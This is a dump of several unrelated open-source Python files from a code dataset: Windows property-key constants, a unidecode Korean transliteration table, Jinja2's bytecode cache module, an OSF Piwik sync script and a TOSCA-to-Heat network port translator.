PKEY_Sync_HandlerType = (IID('{7BD5533E-AF15-44DB-B8C8-BD6624E1D032}'), 8)
PKEY_Sync_HandlerTypeLabel = (IID('{7BD5533E-AF15-44DB-B8C8-BD6624E1D032}'), 9)
PKEY_Sync_ItemID = (IID('{7BD5533E-AF15-44DB-B8C8-BD6624E1D032}'), 6)
PKEY_Sync_ItemName = (IID('{CE50C159-2FB8-41FD-BE68-D3E042E274BC}'), 3)
PKEY_Task_BillingInformation = (IID('{D37D52C6-261C-4303-82B3-08B926AC6F12}'), 100)
PKEY_Task_CompletionStatus = (IID('{084D8A0A-E6D5-40DE-BF1F-C8820E7C877C}'), 100)
PKEY_Task_Owner = (IID('{08C7CC5F-60F2-4494-AD75-55E3E0B5ADD0}'), 100)
PKEY_Video_Compression = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 10)
PKEY_Video_Director = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 20)
PKEY_Video_EncodingBitrate = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 8)
PKEY_Video_FourCC = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 44)
PKEY_Video_FrameHeight = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 4)
PKEY_Video_FrameRate = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 6)
PKEY_Video_FrameWidth = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 3)
PKEY_Video_HorizontalAspectRatio = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 42)
PKEY_Video_SampleSize = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 9)
PKEY_Video_StreamName = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 2)
PKEY_Video_StreamNumber = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 11)
PKEY_Video_TotalBitrate = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 43)
PKEY_Video_VerticalAspectRatio = (IID('{64440491-4C8B-11D1-8B70-080036B11A03}'), 45)
PKEY_Volume_FileSystem = (IID('{9B174B35-40FF-11D2-A27E-00C04FC30871}'), 4)
PKEY_Volume_IsMappedDrive = (IID('{149C0B69-2C2D-48FC-808F-D318D78C4636}'), 2)
PKEY_Volume_IsRoot = (IID('{9B174B35-40FF-11D2-A27E-00C04FC30871}'), 10)
PKEY_AppUserModel_RelaunchCommand = (IID('{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}'), 2)
PKEY_AppUserModel_RelaunchIconResource = (IID('{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}'), 3)
PKEY_AppUserModel_RelaunchDisplayNameResource = (IID('{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}'), 4)
PKEY_AppUserModel_ID = (IID('{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}'), 5)
PKEY_AppUserModel_IsDestListSeparator = (IID('{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}'), 6)
PKEY_AppUserModel_ExcludeFromShowInNewInstall = (IID('{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}'), 8)
PKEY_AppUserModel_PreventPinning = (IID('{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}'), 9)
# PKA_FLAGS, used with IPropertyChange
PKA_SET = 0
PKA_APPEND = 1
PKA_DELETE = 2
| bsd-3-clause |
gylian/Sick-Beard | lib/unidecode/x0b6.py | 253 | 4996 | data = (
'ddyels', # 0x00
'ddyelt', # 0x01
'ddyelp', # 0x02
'ddyelh', # 0x03
'ddyem', # 0x04
'ddyeb', # 0x05
'ddyebs', # 0x06
'ddyes', # 0x07
'ddyess', # 0x08
'ddyeng', # 0x09
'ddyej', # 0x0a
'ddyec', # 0x0b
'ddyek', # 0x0c
'ddyet', # 0x0d
'ddyep', # 0x0e
'ddyeh', # 0x0f
'ddo', # 0x10
'ddog', # 0x11
'ddogg', # 0x12
'ddogs', # 0x13
'ddon', # 0x14
'ddonj', # 0x15
'ddonh', # 0x16
'ddod', # 0x17
'ddol', # 0x18
'ddolg', # 0x19
'ddolm', # 0x1a
'ddolb', # 0x1b
'ddols', # 0x1c
'ddolt', # 0x1d
'ddolp', # 0x1e
'ddolh', # 0x1f
'ddom', # 0x20
'ddob', # 0x21
'ddobs', # 0x22
'ddos', # 0x23
'ddoss', # 0x24
'ddong', # 0x25
'ddoj', # 0x26
'ddoc', # 0x27
'ddok', # 0x28
'ddot', # 0x29
'ddop', # 0x2a
'ddoh', # 0x2b
'ddwa', # 0x2c
'ddwag', # 0x2d
'ddwagg', # 0x2e
'ddwags', # 0x2f
'ddwan', # 0x30
'ddwanj', # 0x31
'ddwanh', # 0x32
'ddwad', # 0x33
'ddwal', # 0x34
'ddwalg', # 0x35
'ddwalm', # 0x36
'ddwalb', # 0x37
'ddwals', # 0x38
'ddwalt', # 0x39
'ddwalp', # 0x3a
'ddwalh', # 0x3b
'ddwam', # 0x3c
'ddwab', # 0x3d
'ddwabs', # 0x3e
'ddwas', # 0x3f
'ddwass', # 0x40
'ddwang', # 0x41
'ddwaj', # 0x42
'ddwac', # 0x43
'ddwak', # 0x44
'ddwat', # 0x45
'ddwap', # 0x46
'ddwah', # 0x47
'ddwae', # 0x48
'ddwaeg', # 0x49
'ddwaegg', # 0x4a
'ddwaegs', # 0x4b
'ddwaen', # 0x4c
'ddwaenj', # 0x4d
'ddwaenh', # 0x4e
'ddwaed', # 0x4f
'ddwael', # 0x50
'ddwaelg', # 0x51
'ddwaelm', # 0x52
'ddwaelb', # 0x53
'ddwaels', # 0x54
'ddwaelt', # 0x55
'ddwaelp', # 0x56
'ddwaelh', # 0x57
'ddwaem', # 0x58
'ddwaeb', # 0x59
'ddwaebs', # 0x5a
'ddwaes', # 0x5b
'ddwaess', # 0x5c
'ddwaeng', # 0x5d
'ddwaej', # 0x5e
'ddwaec', # 0x5f
'ddwaek', # 0x60
'ddwaet', # 0x61
'ddwaep', # 0x62
'ddwaeh', # 0x63
'ddoe', # 0x64
'ddoeg', # 0x65
'ddoegg', # 0x66
'ddoegs', # 0x67
'ddoen', # 0x68
'ddoenj', # 0x69
'ddoenh', # 0x6a
'ddoed', # 0x6b
'ddoel', # 0x6c
'ddoelg', # 0x6d
'ddoelm', # 0x6e
'ddoelb', # 0x6f
'ddoels', # 0x70
'ddoelt', # 0x71
'ddoelp', # 0x72
'ddoelh', # 0x73
'ddoem', # 0x74
'ddoeb', # 0x75
'ddoebs', # 0x76
'ddoes', # 0x77
'ddoess', # 0x78
'ddoeng', # 0x79
'ddoej', # 0x7a
'ddoec', # 0x7b
'ddoek', # 0x7c
'ddoet', # 0x7d
'ddoep', # 0x7e
'ddoeh', # 0x7f
'ddyo', # 0x80
'ddyog', # 0x81
'ddyogg', # 0x82
'ddyogs', # 0x83
'ddyon', # 0x84
'ddyonj', # 0x85
'ddyonh', # 0x86
'ddyod', # 0x87
'ddyol', # 0x88
'ddyolg', # 0x89
'ddyolm', # 0x8a
'ddyolb', # 0x8b
'ddyols', # 0x8c
'ddyolt', # 0x8d
'ddyolp', # 0x8e
'ddyolh', # 0x8f
'ddyom', # 0x90
'ddyob', # 0x91
'ddyobs', # 0x92
'ddyos', # 0x93
'ddyoss', # 0x94
'ddyong', # 0x95
'ddyoj', # 0x96
'ddyoc', # 0x97
'ddyok', # 0x98
'ddyot', # 0x99
'ddyop', # 0x9a
'ddyoh', # 0x9b
'ddu', # 0x9c
'ddug', # 0x9d
'ddugg', # 0x9e
'ddugs', # 0x9f
'ddun', # 0xa0
'ddunj', # 0xa1
'ddunh', # 0xa2
'ddud', # 0xa3
'ddul', # 0xa4
'ddulg', # 0xa5
'ddulm', # 0xa6
'ddulb', # 0xa7
'dduls', # 0xa8
'ddult', # 0xa9
'ddulp', # 0xaa
'ddulh', # 0xab
'ddum', # 0xac
'ddub', # 0xad
'ddubs', # 0xae
'ddus', # 0xaf
'dduss', # 0xb0
'ddung', # 0xb1
'dduj', # 0xb2
'dduc', # 0xb3
'dduk', # 0xb4
'ddut', # 0xb5
'ddup', # 0xb6
'dduh', # 0xb7
'ddweo', # 0xb8
'ddweog', # 0xb9
'ddweogg', # 0xba
'ddweogs', # 0xbb
'ddweon', # 0xbc
'ddweonj', # 0xbd
'ddweonh', # 0xbe
'ddweod', # 0xbf
'ddweol', # 0xc0
'ddweolg', # 0xc1
'ddweolm', # 0xc2
'ddweolb', # 0xc3
'ddweols', # 0xc4
'ddweolt', # 0xc5
'ddweolp', # 0xc6
'ddweolh', # 0xc7
'ddweom', # 0xc8
'ddweob', # 0xc9
'ddweobs', # 0xca
'ddweos', # 0xcb
'ddweoss', # 0xcc
'ddweong', # 0xcd
'ddweoj', # 0xce
'ddweoc', # 0xcf
'ddweok', # 0xd0
'ddweot', # 0xd1
'ddweop', # 0xd2
'ddweoh', # 0xd3
'ddwe', # 0xd4
'ddweg', # 0xd5
'ddwegg', # 0xd6
'ddwegs', # 0xd7
'ddwen', # 0xd8
'ddwenj', # 0xd9
'ddwenh', # 0xda
'ddwed', # 0xdb
'ddwel', # 0xdc
'ddwelg', # 0xdd
'ddwelm', # 0xde
'ddwelb', # 0xdf
'ddwels', # 0xe0
'ddwelt', # 0xe1
'ddwelp', # 0xe2
'ddwelh', # 0xe3
'ddwem', # 0xe4
'ddweb', # 0xe5
'ddwebs', # 0xe6
'ddwes', # 0xe7
'ddwess', # 0xe8
'ddweng', # 0xe9
'ddwej', # 0xea
'ddwec', # 0xeb
'ddwek', # 0xec
'ddwet', # 0xed
'ddwep', # 0xee
'ddweh', # 0xef
'ddwi', # 0xf0
'ddwig', # 0xf1
'ddwigg', # 0xf2
'ddwigs', # 0xf3
'ddwin', # 0xf4
'ddwinj', # 0xf5
'ddwinh', # 0xf6
'ddwid', # 0xf7
'ddwil', # 0xf8
'ddwilg', # 0xf9
'ddwilm', # 0xfa
'ddwilb', # 0xfb
'ddwils', # 0xfc
'ddwilt', # 0xfd
'ddwilp', # 0xfe
'ddwilh', # 0xff
)
| gpl-3.0 |
cbenhagen/python-for-android | pythonforandroid/bootstraps/pygame/build/buildlib/jinja2.egg/jinja2/bccache.py | 284 | 9994 | # -*- coding: utf-8 -*-
"""
jinja2.bccache
~~~~~~~~~~~~~~
This module implements the bytecode cache system Jinja is optionally
using. This is useful if you have very complex template situations and
the compiliation of all those templates slow down your application too
much.
Situations where this is useful are often forking web applications that
are initialized on the first request.
:copyright: (c) 2010 by the Jinja Team.
:license: BSD.
"""
from os import path, listdir
import marshal
import tempfile
import cPickle as pickle
import fnmatch
from cStringIO import StringIO
try:
from hashlib import sha1
except ImportError:
from sha import new as sha1
from jinja2.utils import open_if_exists
bc_version = 1
bc_magic = 'j2'.encode('ascii') + pickle.dumps(bc_version, 2)
class Bucket(object):
"""Buckets are used to store the bytecode for one template. It's created
and initialized by the bytecode cache and passed to the loading functions.
The buckets get an internal checksum from the cache assigned and use this
to automatically reject outdated cache material. Individual bytecode
cache subclasses don't have to care about cache invalidation.
"""
def __init__(self, environment, key, checksum):
self.environment = environment
self.key = key
self.checksum = checksum
self.reset()
def reset(self):
"""Resets the bucket (unloads the bytecode)."""
self.code = None
def load_bytecode(self, f):
"""Loads bytecode from a file or file like object."""
# make sure the magic header is correct
magic = f.read(len(bc_magic))
if magic != bc_magic:
self.reset()
return
# the source code of the file changed, we need to reload
checksum = pickle.load(f)
if self.checksum != checksum:
self.reset()
return
# now load the code. Because marshal is not able to load
# from arbitrary streams we have to work around that
if isinstance(f, file):
self.code = marshal.load(f)
else:
self.code = marshal.loads(f.read())
def write_bytecode(self, f):
"""Dump the bytecode into the file or file like object passed."""
if self.code is None:
raise TypeError('can\'t write empty bucket')
f.write(bc_magic)
pickle.dump(self.checksum, f, 2)
if isinstance(f, file):
marshal.dump(self.code, f)
else:
f.write(marshal.dumps(self.code))
def bytecode_from_string(self, string):
"""Load bytecode from a string."""
self.load_bytecode(StringIO(string))
def bytecode_to_string(self):
"""Return the bytecode as string."""
out = StringIO()
self.write_bytecode(out)
return out.getvalue()
class BytecodeCache(object):
"""To implement your own bytecode cache you have to subclass this class
and override :meth:`load_bytecode` and :meth:`dump_bytecode`. Both of
these methods are passed a :class:`~jinja2.bccache.Bucket`.
A very basic bytecode cache that saves the bytecode on the file system::
from os import path
class MyCache(BytecodeCache):
def __init__(self, directory):
self.directory = directory
def load_bytecode(self, bucket):
filename = path.join(self.directory, bucket.key)
if path.exists(filename):
with open(filename, 'rb') as f:
bucket.load_bytecode(f)
def dump_bytecode(self, bucket):
filename = path.join(self.directory, bucket.key)
with open(filename, 'wb') as f:
bucket.write_bytecode(f)
A more advanced version of a filesystem based bytecode cache is part of
Jinja2.
"""
def load_bytecode(self, bucket):
"""Subclasses have to override this method to load bytecode into a
bucket. If they are not able to find code in the cache for the
bucket, it must not do anything.
"""
raise NotImplementedError()
def dump_bytecode(self, bucket):
"""Subclasses have to override this method to write the bytecode
from a bucket back to the cache. If it unable to do so it must not
fail silently but raise an exception.
"""
raise NotImplementedError()
def clear(self):
"""Clears the cache. This method is not used by Jinja2 but should be
implemented to allow applications to clear the bytecode cache used
by a particular environment.
"""
def get_cache_key(self, name, filename=None):
"""Returns the unique hash key for this template name."""
hash = sha1(name.encode('utf-8'))
if filename is not None:
if isinstance(filename, unicode):
filename = filename.encode('utf-8')
hash.update('|' + filename)
return hash.hexdigest()
def get_source_checksum(self, source):
"""Returns a checksum for the source."""
return sha1(source.encode('utf-8')).hexdigest()
def get_bucket(self, environment, name, filename, source):
"""Return a cache bucket for the given template. All arguments are
mandatory but filename may be `None`.
"""
key = self.get_cache_key(name, filename)
checksum = self.get_source_checksum(source)
bucket = Bucket(environment, key, checksum)
self.load_bytecode(bucket)
return bucket
def set_bucket(self, bucket):
"""Put the bucket into the cache."""
self.dump_bytecode(bucket)
class FileSystemBytecodeCache(BytecodeCache):
"""A bytecode cache that stores bytecode on the filesystem. It accepts
two arguments: The directory where the cache items are stored and a
pattern string that is used to build the filename.
If no directory is specified the system temporary items folder is used.
The pattern can be used to have multiple separate caches operate on the
same directory. The default pattern is ``'__jinja2_%s.cache'``. ``%s``
is replaced with the cache key.
>>> bcc = FileSystemBytecodeCache('/tmp/jinja_cache', '%s.cache')
This bytecode cache supports clearing of the cache using the clear method.
"""
def __init__(self, directory=None, pattern='__jinja2_%s.cache'):
if directory is None:
directory = tempfile.gettempdir()
self.directory = directory
self.pattern = pattern
def _get_cache_filename(self, bucket):
return path.join(self.directory, self.pattern % bucket.key)
def load_bytecode(self, bucket):
f = open_if_exists(self._get_cache_filename(bucket), 'rb')
if f is not None:
try:
bucket.load_bytecode(f)
finally:
f.close()
def dump_bytecode(self, bucket):
f = open(self._get_cache_filename(bucket), 'wb')
try:
bucket.write_bytecode(f)
finally:
f.close()
def clear(self):
# imported lazily here because google app-engine doesn't support
# write access on the file system and the function does not exist
# normally.
from os import remove
files = fnmatch.filter(listdir(self.directory), self.pattern % '*')
for filename in files:
try:
remove(path.join(self.directory, filename))
except OSError:
pass
class MemcachedBytecodeCache(BytecodeCache):
"""This class implements a bytecode cache that uses a memcache cache for
storing the information. It does not enforce a specific memcache library
(tummy's memcache or cmemcache) but will accept any class that provides
the minimal interface required.
Libraries compatible with this class:
- `werkzeug <http://werkzeug.pocoo.org/>`_.contrib.cache
- `python-memcached <http://www.tummy.com/Community/software/python-memcached/>`_
- `cmemcache <http://gijsbert.org/cmemcache/>`_
(Unfortunately the django cache interface is not compatible because it
does not support storing binary data, only unicode. You can however pass
the underlying cache client to the bytecode cache which is available
as `django.core.cache.cache._client`.)
The minimal interface for the client passed to the constructor is this:
.. class:: MinimalClientInterface
.. method:: set(key, value[, timeout])
Stores the bytecode in the cache. `value` is a string and
`timeout` the timeout of the key. If timeout is not provided
a default timeout or no timeout should be assumed, if it's
provided it's an integer with the number of seconds the cache
item should exist.
.. method:: get(key)
Returns the value for the cache key. If the item does not
exist in the cache the return value must be `None`.
The other arguments to the constructor are the prefix for all keys that
is added before the actual cache key and the timeout for the bytecode in
the cache system. We recommend a high (or no) timeout.
This bytecode cache does not support clearing of used items in the cache.
The clear method is a no-operation function.
"""
def __init__(self, client, prefix='jinja2/bytecode/', timeout=None):
self.client = client
self.prefix = prefix
self.timeout = timeout
def load_bytecode(self, bucket):
code = self.client.get(self.prefix + bucket.key)
if code is not None:
bucket.bytecode_from_string(code)
def dump_bytecode(self, bucket):
args = (self.prefix + bucket.key, bucket.bytecode_to_string())
if self.timeout is not None:
args += (self.timeout,)
self.client.set(*args)
| lgpl-2.1 |
jnayak1/osf.io | scripts/consistency/ensure_piwik_nodes.py | 46 | 1542 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Ensure all projects modified today are consistent between the OSF and Piwik
"""
import datetime
import logging
import sys
import time
from modularodm import Q
from framework.analytics import piwik
from scripts import utils as scripts_utils
from website.app import init_app
from website.project.model import NodeLog
logger = logging.getLogger(__name__)
def get_nodes():
"""Return a set of node with log events for today"""
today = datetime.date.today()
midnight = datetime.datetime(
year=today.year,
month=today.month,
day=today.day,
)
return set(
(
log.node
for log in NodeLog.find(Q('date', 'gt', midnight))
)
)
def main():
init_app('website.settings', set_backends=True, routes=False)
if 'dry' in sys.argv:
if 'list' in sys.argv:
logger.info('=== Nodes modified today ===')
for node in get_nodes():
logger.info(node._id)
else:
logger.info('{} Nodes to be updated'.format(len(get_nodes())))
else:
# Log to a file
scripts_utils.add_file_logger(logger, __file__)
nodes = get_nodes()
logger.info('=== Updating {} Nodes ==='.format(len(nodes)))
for node in nodes:
# Wait a second between requests to reduce load on Piwik
time.sleep(1)
piwik._update_node_object(node)
logger.info(node._id)
if __name__ == "__main__":
main()
| apache-2.0 |
superfluidity/RDCL3D | code/translator/hot/tosca/tosca_network_port.py | 2 | 4748 | #
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from translator.hot.syntax.hot_resource import HotResource
# Name used to dynamically load appropriate map class.
TARGET_CLASS_NAME = 'ToscaNetworkPort'
TOSCA_LINKS_TO = 'tosca.relationships.network.LinksTo'
TOSCA_BINDS_TO = 'tosca.relationships.network.BindsTo'
class ToscaNetworkPort(HotResource):
'''Translate TOSCA node type tosca.nodes.network.Port.'''
toscatype = 'tosca.nodes.network.Port'
def __init__(self, nodetemplate, csar_dir=None):
super(ToscaNetworkPort, self).__init__(nodetemplate,
type='OS::Neutron::Port',
csar_dir=csar_dir)
# Default order
self.order = 0
pass
def _generate_networks_for_compute(self, port_resources):
'''Generate compute networks property list from the port resources.'''
networks = []
for resource in port_resources:
networks.append({'port': '{ get_resource: %s }' % (resource.name)})
return networks
def _insert_sorted_resource(self, resources, resource):
'''Insert a resource in the list of resources and keep the order.'''
lo = 0
hi = len(resources)
while lo < hi:
mid = (lo + hi) // 2
if resource.order < resources[mid].order:
hi = mid
else:
lo = mid + 1
resources.insert(lo, resource)
def handle_properties(self):
tosca_props = self.get_tosca_props()
port_props = {}
for key, value in tosca_props.items():
if key == 'ip_address':
fixed_ip = {}
fixed_ip['ip_address'] = value
port_props['fixed_ips'] = [fixed_ip]
elif key == 'order':
self.order = value
# TODO(sdmonov): Need to implement the properties below
elif key == 'is_default':
pass
elif key == 'ip_range_start':
pass
elif key == 'ip_range_end':
pass
else:
port_props[key] = value
links_to = None
binds_to = None
for rel, node in self.nodetemplate.relationships.items():
# Check for LinksTo relations. If found add a network property with
# the network name into the port
if not links_to and rel.is_derived_from(TOSCA_LINKS_TO):
links_to = node
network_resource = None
for hot_resource in self.depends_on_nodes:
if links_to.name == hot_resource.name:
network_resource = hot_resource
self.depends_on.remove(hot_resource)
break
if network_resource.existing_resource_id:
port_props['network'] =\
str(network_resource.existing_resource_id)
else:
port_props['network'] = '{ get_resource: %s }'\
% (links_to.name)
# Check for BindsTo relationship. If found add network to the
# network property of the corresponding compute resource
elif not binds_to and rel.is_derived_from(TOSCA_BINDS_TO):
binds_to = node
compute_resource = None
for hot_resource in self.depends_on_nodes:
if binds_to.name == hot_resource.name:
compute_resource = hot_resource
self.depends_on.remove(hot_resource)
break
if compute_resource:
port_rsrcs = compute_resource.assoc_port_resources
self._insert_sorted_resource(port_rsrcs, self)
# TODO(sdmonov): Using generate networks every time we add
# a network is not the fastest way to do the things. We
# should do this only once at the end.
networks = self._generate_networks_for_compute(port_rsrcs)
compute_resource.properties['networks'] = networks
self.properties = port_props
| apache-2.0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.